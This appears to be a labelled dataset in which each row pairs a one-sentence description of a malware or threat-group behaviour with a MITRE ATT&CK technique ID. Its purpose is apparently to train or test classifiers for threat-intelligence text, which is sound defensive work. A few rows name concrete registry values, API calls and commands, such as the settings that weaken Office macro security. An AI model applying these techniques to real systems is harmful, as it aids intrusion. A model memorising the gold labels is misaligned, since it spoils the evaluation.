"SQLRat can make a direct SQL connection to a Microsoft database controlled by the attackers, retrieve an item from the bindata table, then write and execute the file on disk.",['T1105 - Ingress Tool Transfer'],golden
ShadowPad has downloaded code from a C2 server.,['T1105 - Ingress Tool Transfer'],golden
SoreFang can download additional payloads from C2.,['T1105 - Ingress Tool Transfer'],golden
Turian can download additional files and tools from its C2.,['T1105 - Ingress Tool Transfer'],golden
Turla has used shellcode to download Meterpreter after compromising a victim.,['T1105 - Ingress Tool Transfer'],golden
"UNC2452 downloaded additional tools, such as TEARDROP malware and Cobalt Strike, to the compromised host following initial compromise.",['T1105 - Ingress Tool Transfer'],golden
UPPERCUT can download and upload files to and from the victim’s machine.,['T1105 - Ingress Tool Transfer'],golden
VaporRage has the ability to download malicious shellcode to compromised systems.,['T1105 - Ingress Tool Transfer'],golden
WEBC2 can download and execute a file.,['T1105 - Ingress Tool Transfer'],golden
WellMess can write files to a compromised host.,['T1105 - Ingress Tool Transfer'],golden
Wiarp creates a backdoor through which remote attackers can download files.,['T1105 - Ingress Tool Transfer'],golden
"Winnti for Linux has the ability to deploy modules directly from command and control (C2) servers, possibly for remote command execution, file exfiltration, and socks5 proxying on the infected host.",['T1105 - Ingress Tool Transfer'],golden
ZIRCONIUM has used tools to download malicious files to compromised hosts.,['T1105 - Ingress Tool Transfer'],golden
Zeus Panda can download additional malware plug-in modules and execute them on the victim’s machine.,['T1105 - Ingress Tool Transfer'],golden
certutil can be used to download files from a given URL.,['T1105 - Ingress Tool Transfer'],golden
down_new has the ability to download files to the compromised host.,['T1105 - Ingress Tool Transfer'],golden
"After escalating privileges, MegaCortex calls ""TerminateProcess()"", ""CreateRemoteThread"", and other Win32 APIs.",['T1106 - Native API'],golden
BendyBear can load and execute modules and Windows Application Programming (API) calls using standard shellcode API hashing.,['T1106 - Native API'],golden
"Cobalt Strike's Beacon payload is capable of running shell commands without ""cmd.exe"" and PowerShell commands without ""powershell.exe""",['T1106 - Native API'],golden
"DCSrv has used various Windows API functions, including `DeviceIoControl`, as part of its encryption process.",['T1106 - Native API'],golden
"FatDuke can call ""ShellExecuteW"" to open the default browser on the URL localhost.",['T1106 - Native API'],golden
HermeticWizard can connect to remote shares using `WNetAddConnection2W`.,['T1106 - Native API'],golden
KONNI has hardcoded API calls within its functions to use on the victim's machine.,['T1106 - Native API'],golden
LitePower can use various API calls.,['T1106 - Native API'],golden
"Lokibot has used LoadLibrary(), GetProcAddress() and CreateRemoteThread() API functions to execute its shellcode.",['T1106 - Native API'],golden
"Maze has used several Windows API functions throughout the encryption process including IsDebuggerPresent, TerminateProcess, Process32FirstW, among others.",['T1106 - Native API'],golden
Meteor can use `WinAPI` to remove a victim machine from an Active Directory domain.,['T1106 - Native API'],golden
"Misdat has used Windows APIs, including `ExitWindowsEx` and `GetKeyboardType`.",['T1106 - Native API'],golden
Pony has used several Windows functions for various purposes.,['T1106 - Native API'],golden
"RTM can use the ""FindNextUrlCacheEntryA"" and ""FindFirstUrlCacheEntryA"" functions to search for specific strings within browser history.",['T1106 - Native API'],golden
"Ramsay can use Windows API functions such as ""WriteFile"", ""CloseHandle"", and ""GetCurrentHwProfile"" during its collection and file storage operations. Ramsay can execute its embedded components via ""CreateProcessA"" and ""ShellExecute"".",['T1106 - Native API'],golden
"Ryuk has used multiple native APIs including ""ShellExecuteW"" to run executables,""GetWindowsDirectoryW"" to create folders, and ""VirtualAlloc"", ""WriteProcessMemory"", and ""CreateRemoteThread"" for process injection.",['T1106 - Native API'],golden
"S-Type has used Windows APIs, including `GetKeyboardType`, `NetUserAdd`, and `NetUserDel`.",['T1106 - Native API'],golden
"Saint Bot has used different API calls, including `GetProcAddress`, `VirtualAllocEx`, `WriteProcessMemory`, `CreateProcessA`, and `SetThreadContext`.",['T1106 - Native API'],golden
"Silence has leveraged the Windows API, including using CreateProcess() or ShellExecute(), to perform a variety of tasks.",['T1106 - Native API'],golden
"ZxShell can leverage native API including ""RegisterServiceCtrlHandler "" to register a service.RegisterServiceCtrlHandler",['T1106 - Native API'],golden
"gh0st RAT has used the `InterlockedExchange`, `SeShutdownPrivilege`, and `ExitWindowsEx` Windows API functions.",['T1106 - Native API'],golden
DarkVishnya used brute-force attack to obtain login data.,['T1110 - Brute Force'],golden
Dragonfly has attempted to brute force credentials to gain access.,['T1110 - Brute Force'],golden
PoshC2 has modules for brute forcing local administrator and AD user accounts.,['T1110 - Brute Force'],golden
"During Operation Wocao, threat actors used a custom collection method to intercept two-factor authentication soft tokens.",['T1111 - Multi-Factor Authentication Interception'],golden
Kimsuky has used a proprietary tool to intercept one time passwords required for two-factor authentication.,['T1111 - Multi-Factor Authentication Interception'],golden
A Threat Group-3390 tool has created new Registry keys under `HKEY_CURRENT_USER\Software\Classes\` and `HKLM\SYSTEM\CurrentControlSet\services`.,['T1112 - Modify Registry'],golden
AADInternals can modify registry keys as part of setting a new pass-through authentication agent.,['T1112 - Modify Registry'],golden
APT32's backdoor has modified the Windows Registry to store the backdoor's configuration.,['T1112 - Modify Registry'],golden
Chaes stored its instructions in a config file in the Registry.,['T1112 - Modify Registry'],golden
"DarkWatchman can store configuration strings, keylogger, and output of components in the Registry.",['T1112 - Modify Registry'],golden
Dragonfly 2.0 modified the Registry to perform multiple techniques through the use of Reg.,['T1112 - Modify Registry'],golden
Dragonfly has modified the Registry to perform multiple techniques through the use of Reg.,['T1112 - Modify Registry'],golden
"During Night Dragon, threat actors used zwShell to establish full remote control of the connected machine and manipulate the Registry.",['T1112 - Modify Registry'],golden
FIN8 has deleted Registry keys during post compromise cleanup activities.,['T1112 - Modify Registry'],golden
"Gamaredon Group has removed security settings for VBA macro execution by changing registry values ""HKCU\Software\Microsoft\Office\&lt;version&gt;\&lt;product&gt;\Security\VBAWarnings"" and ""HKCU\Software\Microsoft\Office\&lt;version&gt;\&lt;product&gt;\Security\AccessVBOM"".",['T1112 - Modify Registry'],golden
KOCTOPUS has added and deleted keys from the Registry.,['T1112 - Modify Registry'],golden
Lokibot has modified the Registry as part of its UAC bypass process.,['T1112 - Modify Registry'],golden
Mori can write data to `HKLM\Software\NFC\IPA` and `HKLM\Software\NFC\` and delete Registry values.,['T1112 - Modify Registry'],golden
Naid creates Registry entries that store information about a created service and point to a malicious DLL dropped to disk.,['T1112 - Modify Registry'],golden
"Netwalker can add the following registry entry: ""HKEY_CURRENT_USER\SOFTWARE\{8 random characters}"".",['T1112 - Modify Registry'],golden
PcShare can delete its persistence mechanisms from the registry.,['T1112 - Modify Registry'],golden
"QakBot can store its configuration information in a randomly named subkey under ""HKCU\Software\Microsoft"".",['T1112 - Modify Registry'],golden
RTM can delete all Registry entries created during its execution.,['T1112 - Modify Registry'],golden
"SLOTHFULMEDIA can add, modify, and/or delete registry keys. It has changed the proxy configuration of a victim system by modifying the ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap"" registry.",['T1112 - Modify Registry'],golden
ShadowPad maintains a configuration block and virtual file system in the Registry.,['T1112 - Modify Registry'],golden
Ursnif has used Registry modifications as part of its installation routine.,['T1112 - Modify Registry'],golden
gh0st RAT has altered the InstallTime subkey.,['T1112 - Modify Registry'],golden
CharmPower has the ability to capture screenshots.,['T1113 - Screen Capture'],golden
Cobian RAT has a feature to perform screen capture.,['T1113 - Screen Capture'],golden
ECCENTRICBANDWAGON can capture screenshots and store them locally.,['T1113 - Screen Capture'],golden
FIN7 captured screenshots and desktop video recordings.,['T1113 - Screen Capture'],golden
GRIFFON has used a screenshot module that can be used to take a screenshot of the remote system.,['T1113 - Screen Capture'],golden
KEYMARBLE can capture screenshots of the victim’s machine.,['T1113 - Screen Capture'],golden
Kazuar captures screenshots of the victim’s screen.,['T1113 - Screen Capture'],golden
KeyBoy has a command to perform screen grabbing.,['T1113 - Screen Capture'],golden
Ramsay can take screenshots every 30 seconds as well as when an external removable storage device is connected.,['T1113 - Screen Capture'],golden
RedLeaves can capture screenshots.,['T1113 - Screen Capture'],golden
Remcos takes automated screenshots of the infected machine.,['T1113 - Screen Capture'],golden
Revenge RAT has a plugin for screen capture.,['T1113 - Screen Capture'],golden
UPPERCUT can capture desktop screenshots in the PNG format and send them to the C2 server.,['T1113 - Screen Capture'],golden
gh0st RAT can capture the victim’s screen remotely.,['T1113 - Screen Capture'],golden
"During Night Dragon, threat actors used RAT malware to exfiltrate email archives.",['T1114.001 - Email Collection: Local Email Collection'],golden
Out1 can parse e-mails on a target machine.,['T1114.001 - Email Collection: Local Email Collection'],golden
"During Operation Wocao, threat actors collected clipboard data in plaintext.",['T1115 - Clipboard Data'],golden
RunningRAT contains code to open and copy data from the clipboard.,['T1115 - Clipboard Data'],golden
Chimera has used custom DLLs for continuous retrieval of data from memory.,['T1119 - Automated Collection'],golden
Comnie executes a batch script to store discovery information in %TEMP%\info.dat and then uploads the temporarily file to the remote C2 server.,['T1119 - Automated Collection'],golden
Crutch can automatically monitor removable drives in a loop and copy interesting files.,['T1119 - Automated Collection'],golden
"Empire can automatically gather the username, domain name, machine name, and other information from a compromised system.",['T1119 - Automated Collection'],golden
Mythic supports scripting of file downloads from agents.,['T1119 - Automated Collection'],golden
NETWIRE can automatically archive collected data.,['T1119 - Automated Collection'],golden
Operation Wocao has used a script to collect information about the infected system.,['T1119 - Automated Collection'],golden
"ShimRatReporter gathered information automatically, without instruction from a C2, related to the user and host machine that is compiled into a report and sent to the operators.",['T1119 - Automated Collection'],golden
Tropic Trooper has collected information automatically using the adversary's USBferry attack.,['T1119 - Automated Collection'],golden
menuPass has used the Csvde tool to collect Active Directory files and data.,['T1119 - Automated Collection'],golden
DarkWatchman can list signed PnP drivers for smartcard readers.,['T1120 - Peripheral Device Discovery'],golden
"During Operation CuckooBees, the threat actors used the `fsutil fsinfo drives` command as part of their advanced reconnaissance.",['T1120 - Peripheral Device Discovery'],golden
Gamaredon Group tools have contained an application to check performance of USB flash drives. Gamaredon Group has also used malware to scan for removable drives.,['T1120 - Peripheral Device Discovery'],golden
Heyoka Backdoor can identify removable media attached to victim's machines.,['T1120 - Peripheral Device Discovery'],golden
The FunnyDream FilepakMonitor component can detect removable drive insertion.,['T1120 - Peripheral Device Discovery'],golden
njRAT will attempt to detect if the victim system has a camera during the initial infection. njRAT can also detect any removable drives connected to the system.,['T1120 - Peripheral Device Discovery'],golden
Derusbi is capable of performing audio captures.,['T1123 - Audio Capture'],golden
Imminent Monitor has a remote microphone monitoring capability.,['T1123 - Audio Capture'],golden
"PowerSploit's ""Get-MicrophoneAudio"" Exfiltration module can record system microphone audio.",['T1123 - Audio Capture'],golden
BLUELIGHT can collect the local time on a compromised host.,['T1124 - System Time Discovery'],golden
Crimson has the ability to determine the date and time on a compromised host.,['T1124 - System Time Discovery'],golden
"During Operation Wocao, threat actors used the `time` command to retrieve the current time of a compromised system.",['T1124 - System Time Discovery'],golden
FELIXROOT gathers the time zone information from the victim’s machine.,['T1124 - System Time Discovery'],golden
InvisiMole gathers the local system time from the victim’s machine.,['T1124 - System Time Discovery'],golden
MoonWind obtains the victim's current time.,['T1124 - System Time Discovery'],golden
"OopsIE checks to see if the system is configured with ""Daylight"" time and checks for a specific region to be set for the timezone.",['T1124 - System Time Discovery'],golden
RTM can obtain the victim time zone.,['T1124 - System Time Discovery'],golden
SHARPSTATS has the ability to identify the current date and time on the compromised host.,['T1124 - System Time Discovery'],golden
Sidewinder has used tools to obtain the current system time.,['T1124 - System Time Discovery'],golden
T9000 gathers and beacons the system time during installation.,['T1124 - System Time Discovery'],golden
ccf32 can determine the local time on targeted machines.,['T1124 - System Time Discovery'],golden
Cobian RAT has a feature to access the webcam on the victim’s machine.,['T1125 - Video Capture'],golden
Derusbi is capable of capturing video.,['T1125 - Video Capture'],golden
Revenge RAT has the ability to access the webcam.,['T1125 - Video Capture'],golden
Frankenstein has used MSbuild to execute an actor-created file.,['T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild'],golden
DarkWatchman can load DLLs.,['T1129 - Server Software Component'],golden
PUNCHBUGGY can load a DLL using the LoadLibrary API.,['T1129 - Server Software Component'],golden
BLINDINGCAN has encoded its C2 traffic with Base64.,['T1132.001 - Data Encoding: Standard Encoding'],golden
OopsIE encodes data in hexadecimal format over the C2 channel.,['T1132.001 - Data Encoding: Standard Encoding'],golden
SUNBURST used Base64 encoding in its C2 traffic.,['T1132.001 - Data Encoding: Standard Encoding'],golden
OceanSalt can encode data with a NOT operation before sending the data to the control server.,['T1132.002 - Non-Standard Encoding'],golden
Kinsing was executed in an Ubuntu container deployed via an open Docker daemon API.,['T1133 - External Remote Services'],golden
"KillDisk has attempted to get the access token of a process by calling ""OpenProcessToken"". If KillDisk gets the access token, then it attempt to modify the token privileges with ""AdjustTokenPrivileges"".",['T1134 - Access Token Manipulation'],golden
"MegaCortex can enable ""SeDebugPrivilege"" and adjust token privileges.",['T1134 - Access Token Manipulation'],golden
Aria-body has the ability to duplicate a token from ntprint.exe.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],golden
REvil can obtain the token from the user that launched the explorer.exe process to avoid affecting the desktop of the SYSTEM user.,['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],golden
"Empire can use ""Invoke-RunAs"" to make tokens.",['T1134.002 - Create Process with Token'],golden
Turla RPC backdoors can impersonate or steal process tokens before executing commands.,['T1134.002 - Create Process with Token'],golden
Clop can enumerate network shares.,['T1135 - Network Share Discovery'],golden
DEATHRANSOM has the ability to use loop operations to enumerate network resources.,['T1135 - Network Share Discovery'],golden
Diavol has a `ENMDSKS` command to enumerates available network shares.,['T1135 - Network Share Discovery'],golden
"Dragonfly 2.0 identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.",['T1135 - Network Share Discovery'],golden
InvisiMole can gather network share information.,['T1135 - Network Share Discovery'],golden
MURKYTOP has the capability to retrieve information about shares on remote hosts.,['T1135 - Network Share Discovery'],golden
OSInfo discovers shares on the network,['T1135 - Network Share Discovery'],golden
ShimRat can enumerate connected drives for infected host machines.,['T1135 - Network Share Discovery'],golden
Sowbug listed remote shared drives that were accessible from a victim.,['T1135 - Network Share Discovery'],golden
Calisto has the capability to add its own account to the victim's machine.,['T1136.001 - Create Account: Local Account'],golden
"Dragonfly has created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.",['T1136.001 - Create Account: Local Account'],golden
HiddenWasp creates a user account as a means to provide initial persistence to the compromised machine.,['T1136.001 - Create Account: Local Account'],golden
S-Type may create a temporary user on the system named `Lost_{Unique Identifier}` with the password `pond~!@6”{Unique Identifier}`.,['T1136.001 - Create Account: Local Account'],golden
Empire has a module for creating a new domain user if permissions allow.,['T1136.002 - Create Account: Domain Account'],golden
LAPSUS$ has created global admin accounts in the targeted organization's cloud instances to gain persistence.,['T1136.003 - Create Account: Cloud Account'],golden
Ruler can be used to automate the abuse of Outlook Forms to establish persistence.,['T1137.003 - Outlook Forms'],golden
Ruler can be used to automate the abuse of Outlook Rules to establish persistence.,['T1137.005 - Outlook Rules'],golden
AppleJeus has decoded files received from a C2.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Avenger has the ability to decrypt files downloaded from C2.,['T1140 - Deobfuscate/Decode Files or Information'],golden
BOOSTWRITE has used a a 32-byte long multi-XOR key to decode data inside its payload.,['T1140 - Deobfuscate/Decode Files or Information'],golden
ComRAT has used unique per machine passwords to decrypt the orchestrator payload and a hardcoded XOR key to decrypt its communications module. ComRAT has also used a unique password to decrypt the file used for its hidden file system.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Conti has decrypted its payload using a hardcoded AES-256 key.,['T1140 - Deobfuscate/Decode Files or Information'],golden
DropBook can unarchive data downloaded from the C2 to obtain the payload and persistence modules.,['T1140 - Deobfuscate/Decode Files or Information'],golden
EnvyScout can deobfuscate and write malicious ISO files to disk.,['T1140 - Deobfuscate/Decode Files or Information'],golden
FYAnti has the ability to decrypt an embedded .NET module.,['T1140 - Deobfuscate/Decode Files or Information'],golden
FoggyWeb can be decrypted in memory using a Lightweight Encryption Algorithm (LEA)-128 key and decoded using a XOR key.,['T1140 - Deobfuscate/Decode Files or Information'],golden
"Frankenstein has deobfuscated base64-encoded commands following the execution of a malicious script, which revealed a small script designed to obtain an additional payload.",['T1140 - Deobfuscate/Decode Files or Information'],golden
Gamaredon Group tools decrypted additional payloads from the C2. Gamaredon Group has also decoded base64-encoded source code of a downloader.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Gorgon Group malware can decode contents from a payload that was Base64 encoded and write the contents to a file.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Grandoreiro can decrypt its encrypted internal strings.,['T1140 - Deobfuscate/Decode Files or Information'],golden
HiddenWasp uses a cipher to implement a decoding function.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Higaisa used certutil to decode Base64 binaries at runtime and a 16-byte XOR key to decrypt data.,['T1140 - Deobfuscate/Decode Files or Information'],golden
HyperBro can unpack and decrypt its payload prior to execution.,['T1140 - Deobfuscate/Decode Files or Information'],golden
"ISMInjector uses the ""certutil"" command to decode a payload file.",['T1140 - Deobfuscate/Decode Files or Information'],golden
Imminent Monitor has decoded malware components that are then dropped to the system.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Kimsuky has decoded malicious VBScripts using Base64.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Machete’s downloaded data is decrypted using AES.,['T1140 - Deobfuscate/Decode Files or Information'],golden
MuddyWater decoded base64-encoded PowerShell commands using a VBS file.,['T1140 - Deobfuscate/Decode Files or Information'],golden
"NOKKI uses a unique, custom de-obfuscation technique.",['T1140 - Deobfuscate/Decode Files or Information'],golden
PS1 can use an XOR key to decrypt a PowerShell loader and payload binary.,['T1140 - Deobfuscate/Decode Files or Information'],golden
PipeMon can decrypt password-protected executables.,['T1140 - Deobfuscate/Decode Files or Information'],golden
PowGoop can decrypt PowerShell scripts for execution.,['T1140 - Deobfuscate/Decode Files or Information'],golden
PowerLess can use base64 and AES ECB decryption prior to execution of downloaded modules.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Remexi decrypts the configuration data using XOR with 25-character keys.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Rocke has extracted tar.gz files after downloading them from a C2 server.,['T1140 - Deobfuscate/Decode Files or Information'],golden
SharpStage has decompressed data received from the C2 server.,['T1140 - Deobfuscate/Decode Files or Information'],golden
SideTwist can decode and decrypt messages received from C2.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Starloader decrypts and executes shellcode from a file called Stars.jps.,['T1140 - Deobfuscate/Decode Files or Information'],golden
The Winnti for Windows dropper can decrypt and decompresses a data blob.,['T1140 - Deobfuscate/Decode Files or Information'],golden
Torisma has used XOR and Base64 to decode C2 data.,['T1140 - Deobfuscate/Decode Files or Information'],golden
TrickBot decodes the configuration data and modules.,['T1140 - Deobfuscate/Decode Files or Information'],golden
UNC2452 used 7-Zip to decode its Raindrop malware.,['T1140 - Deobfuscate/Decode Files or Information'],golden
"VERMIN decrypts code, strings, and commands to use once it's on the victim's machine.",['T1140 - Deobfuscate/Decode Files or Information'],golden
Valak has the ability to decode and decrypt downloaded files.,['T1140 - Deobfuscate/Decode Files or Information'],golden
YAHOYAH decrypts downloaded files before execution.,['T1140 - Deobfuscate/Decode Files or Information'],golden
"gh0st RAT has decrypted and loaded the gh0st RAT DLL into memory, once the initial dropper executable is launched.",['T1140 - Deobfuscate/Decode Files or Information'],golden
Grandoreiro can use malicious browser extensions to steal cookies and other user information.,['T1176 - Browser Extensions'],golden
OSX/Shlayer can install malicious Safari browser extensions to serve ads.,['T1176 - Browser Extensions'],golden
Chaes has used the Puppeteer module to hook and monitor the Chrome web browser to collect user information from infected hosts.,['T1185 - Browser Session Hijacking'],golden
IcedID has used web injection attacks to redirect victims to spoofed sites designed to harvest banking and other credentials.  IcedID can use a self signed TLS certificate in connection with the spoofed site and simultaneously maintains a live connection with the legitimate site to display the correct URL and certificates in the browser.,['T1185 - Browser Session Hijacking'],golden
Dragonfly has performed forced authentication to gather hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems.,['T1187 - Forced Authentication'],golden
EnvyScout can use protocol handlers to coax the operating system to send NTLMv2 authentication responses to attacker-controlled infrastructure.,['T1187 - Forced Authentication'],golden
APT28 has compromised targets via strategic web compromise utilizing custom exploit kits.,['T1189 - Drive-by Compromise'],golden
"Bad Rabbit spread through watering holes on popular sites by injecting JavaScript into the HTML body or a "".js"" file.",['T1189 - Drive-by Compromise'],golden
"During C0010, UNC3890 actors likely established a watering hole that was hosted on a login page of a legitimate Israeli shipping company that was active until at least November 2021.",['T1189 - Drive-by Compromise'],golden
PROMETHIUM has used watering hole attacks to deliver malicious versions of legitimate installers.,['T1189 - Drive-by Compromise'],golden
"Blue Mockingbird has gained initial access by exploiting CVE-2019-18935, a vulnerability within Telerik UI for ASP.NET AJAX.",['T1190 - Exploit Public-Facing Application'],golden
GOLD SOUTHFIELD has exploited Oracle WebLogic vulnerabilities for initial compromise.,['T1190 - Exploit Public-Facing Application'],golden
Moses Staff has exploited known vulnerabilities in public-facing infrastructure such as Microsoft Exchange Servers.,['T1190 - Exploit Public-Facing Application'],golden
Night Dragon has performed SQL injection attacks of extranet web servers to gain access.,['T1190 - Exploit Public-Facing Application'],golden
UNC2452 exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network.,['T1190 - Exploit Public-Facing Application'],golden
"CCBkdr was added to a legitimate, signed version 5.33 of the CCleaner software and distributed on CCleaner's distribution site.",['T1195.002 - Compromise Software Supply Chain'],golden
APT41 used BITSAdmin to download and install payloads.,['T1197 - BITS Jobs'],golden
Tropic Trooper has leveraged the BITSadmin command-line tool to create a job and launch a malicious process.,['T1197 - BITS Jobs'],golden
"DarkVishnya used Bash Bunny, Raspberry Pi, netbooks or inexpensive laptops to connect to the company’s local network.",['T1200 - Hardware Additions'],golden
Chimera has used the NtdsAudit utility to collect information related to accounts and passwords.,['T1201 - Password Policy Discovery'],golden
"PoshC2 can use ""Get-PassPol"" to enumerate the domain password policy.",['T1201 - Password Policy Discovery'],golden
Revenge RAT uses the Forfiles utility to execute commands on the system.,['T1202 - Indirect Command Execution'],golden
"Cobalt Group had exploited multiple vulnerabilities for execution, including Microsoft’s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, CVE-2017-0199, and CVE-2017-8759.",['T1203 - Exploitation for Client Execution'],golden
Frankenstein has used CVE-2017-11882 to execute code on the victim's machine.,['T1203 - Exploitation for Client Execution'],golden
HAWKBALL has exploited Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802 to deliver the payload.,['T1203 - Exploitation for Client Execution'],golden
Mustang Panda has exploited CVE-2017-0199 in Microsoft Word to execute code.,['T1203 - Exploitation for Client Execution'],golden
TA459 has exploited Microsoft Word vulnerability CVE-2017-0199 for execution.,['T1203 - Exploitation for Client Execution'],golden
APT3 has lured victims into clicking malicious links delivered through spearphishing.,['T1204.001 - Malicious Link'],golden
AppleJeus's spearphishing links required user interaction to navigate to the malicious website.,['T1204.001 - Malicious Link'],golden
Confucius has lured victims into clicking on a malicious link sent through spearphishing.,['T1204.001 - Malicious Link'],golden
Ember Bear has attempted to lure users to click on a malicious link within a spearphishing email.,['T1204.001 - Malicious Link'],golden
Evilnum has sent spearphishing emails designed to trick the recipient into opening malicious shortcut links which downloads a .LNK file.,['T1204.001 - Malicious Link'],golden
GuLoader has relied upon users clicking on links to malicious documents.,['T1204.001 - Malicious Link'],golden
Machete has has relied on users opening malicious links delivered through spearphishing to execute malware.,['T1204.001 - Malicious Link'],golden
Molerats has sent malicious links via email trick users into opening a RAR archive and running an executable.,['T1204.001 - Malicious Link'],golden
Night Dragon enticed users to click on links in spearphishing emails to download malware.,['T1204.001 - Malicious Link'],golden
"Patchwork has used spearphishing with links to try to get users to click, download and open malicious files.",['T1204.001 - Malicious Link'],golden
Pony has attempted to lure targets into clicking links in spoofed emails from legitimate banks.,['T1204.001 - Malicious Link'],golden
Saint Bot has relied on users to click on a malicious link delivered via a spearphishing.,['T1204.001 - Malicious Link'],golden
APT12 has attempted to get victims to open malicious Microsoft Word and PDF attachment sent via spearphishing.,['T1204.002 - User Execution: Malicious File'],golden
APT38  has attempted to lure victims into enabling malicious macros within email attachments.,['T1204.002 - User Execution: Malicious File'],golden
Agent Tesla has been executed through malicious e-mail attachments,['T1204.002 - User Execution: Malicious File'],golden
Cardinal RAT lures victims into executing malicious macros embedded within Microsoft Excel documents.,['T1204.002 - User Execution: Malicious File'],golden
Confucius has lured victims to execute malicious attachments included in crafted spearphishing emails related to current topics.,['T1204.002 - User Execution: Malicious File'],golden
DarkHydrus has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.,['T1204.002 - User Execution: Malicious File'],golden
Dridex has relied upon users clicking on a malicious attachment delivered through spearphishing.,['T1204.002 - User Execution: Malicious File'],golden
EnvyScout has been executed through malicious files attached to e-mails.,['T1204.002 - User Execution: Malicious File'],golden
FIN6 has used malicious documents to lure victims into allowing execution of PowerShell scripts.,['T1204.002 - User Execution: Malicious File'],golden
Heyoka Backdoor has been spread through malicious document lures.,['T1204.002 - User Execution: Malicious File'],golden
Higaisa used malicious e-mail attachments to lure victims into executing LNK files.,['T1204.002 - User Execution: Malicious File'],golden
IndigoZebra sent spearphishing emails containing malicious attachments that urged recipients to review modifications in the file which would trigger the attack.,['T1204.002 - User Execution: Malicious File'],golden
Indrik Spider has attempted to get users to click on a malicious zipped file.,['T1204.002 - User Execution: Malicious File'],golden
JSS Loader has been executed through malicious attachments contained in spearphishing emails.,['T1204.002 - User Execution: Malicious File'],golden
KGH_SPY has been spread through Word documents containing malicious macros.,['T1204.002 - User Execution: Malicious File'],golden
Lazarus Group has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email.,['T1204.002 - User Execution: Malicious File'],golden
LazyScripter has lured users to open malicious email attachments.,['T1204.002 - User Execution: Malicious File'],golden
Nomadic Octopus as attempted to lure victims into clicking on malicious attachments within spearphishing emails.,['T1204.002 - User Execution: Malicious File'],golden
Octopus has relied upon users clicking on a malicious attachment delivered through spearphishing.,['T1204.002 - User Execution: Malicious File'],golden
Rancor attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware.,['T1204.002 - User Execution: Malicious File'],golden
Sidewinder has lured targets to click on malicious files to gain execution in the target environment.,['T1204.002 - User Execution: Malicious File'],golden
Squirrelwaffle has relied on users enabling malicious macros within Microsoft Excel and Word attachments.,['T1204.002 - User Execution: Malicious File'],golden
"StrongPity has been executed via compromised installation files for legitimate software including compression applications, security software, browsers, file recovery applications, and other tools and utilities.",['T1204.002 - User Execution: Malicious File'],golden
Taidoor has relied upon a victim to click on a malicious email attachment.,['T1204.002 - User Execution: Malicious File'],golden
"Umbreon provides additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet.",['T1205 - Traffic Signaling'],golden
"Mimikatz’s ""LSADUMP::DCShadow"" module can be used to make AD updates by temporarily setting a computer to be a DC.",['T1207 - Rogue Domain Controller'],golden
Bad Rabbit used the EternalRomance SMB exploit to spread through victim networks.,['T1210 - Exploitation of Remote Services'],golden
FIN7 has exploited ZeroLogon (CVE-2020-1472) against vulnerable domain controllers.,['T1210 - Exploitation of Remote Services'],golden
Threat Group-3390 has exploited MS17-010 to move laterally to other systems on the network.,['T1210 - Exploitation of Remote Services'],golden
Tonto Team has used EternalBlue exploits for lateral movement.,['T1210 - Exploitation of Remote Services'],golden
WannaCry uses an exploit in SMBv1 to spread itself to other remote systems on a network.,['T1210 - Exploitation of Remote Services'],golden
menuPass has used tools to exploit the ZeroLogon vulnerability (CVE-2020-1472).,['T1210 - Exploitation of Remote Services'],golden
Turla has used a custom .NET tool to collect documents from an organization's internal central database.,['T1213 - Data from Information Repositories'],golden
LAPSUS$ has searched a victim's network for code repositories like GitLab and GitHub to discover further high-privilege account credentials.,['T1213.003 - Code Repositories'],golden
"Chimera has used ""type \\<hostname>\c$\Users\<username>\Favorites\Links\Bookmarks bar\Imported From IE\*citrix*"" for bookmark discovery.",['T1217 - Browser Bookmark Discovery'],golden
DarkWatchman can retrieve browser history.,['T1217 - Browser Bookmark Discovery'],golden
Lizar can retrieve browser history and database files.,['T1217 - Browser Bookmark Discovery'],golden
SUGARDUMP has collected browser bookmark and history information.,['T1217 - Browser Bookmark Discovery'],golden
"Ember Bear has used control panel files (CPL), delivered via e-mail, for execution.",['T1218.002 - Signed Binary Proxy Execution: Control Panel'],golden
"Mustang Panda has used ""InstallUtil.exe"" to execute a malicious Beacon stager.",['T1218.004 - Signed Binary Proxy Execution: InstallUtil'],golden
Metamorfo has used mshta.exe to execute a HTA payload.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],golden
Mustang Panda has used mshta.exe to launch collection scripts.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],golden
POWERSTATS can use Mshta.exe to execute additional payloads on compromised hosts.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],golden
SideCopy has utilized `mshta.exe` to execute a malicious hta file.,['T1218.005 - Signed Binary Proxy Execution: Mshta'],golden
Molerats has used msiexec.exe to execute an MSI payload.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],golden
RemoteUtilities can use Msiexec to install a service.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],golden
ZIRCONIUM has used the msiexec.exe command-line utility to download and execute malicious MSI files.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],golden
Deep Panda has used regsvr32.exe to execute a server variant of Derusbi in victim networks.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],golden
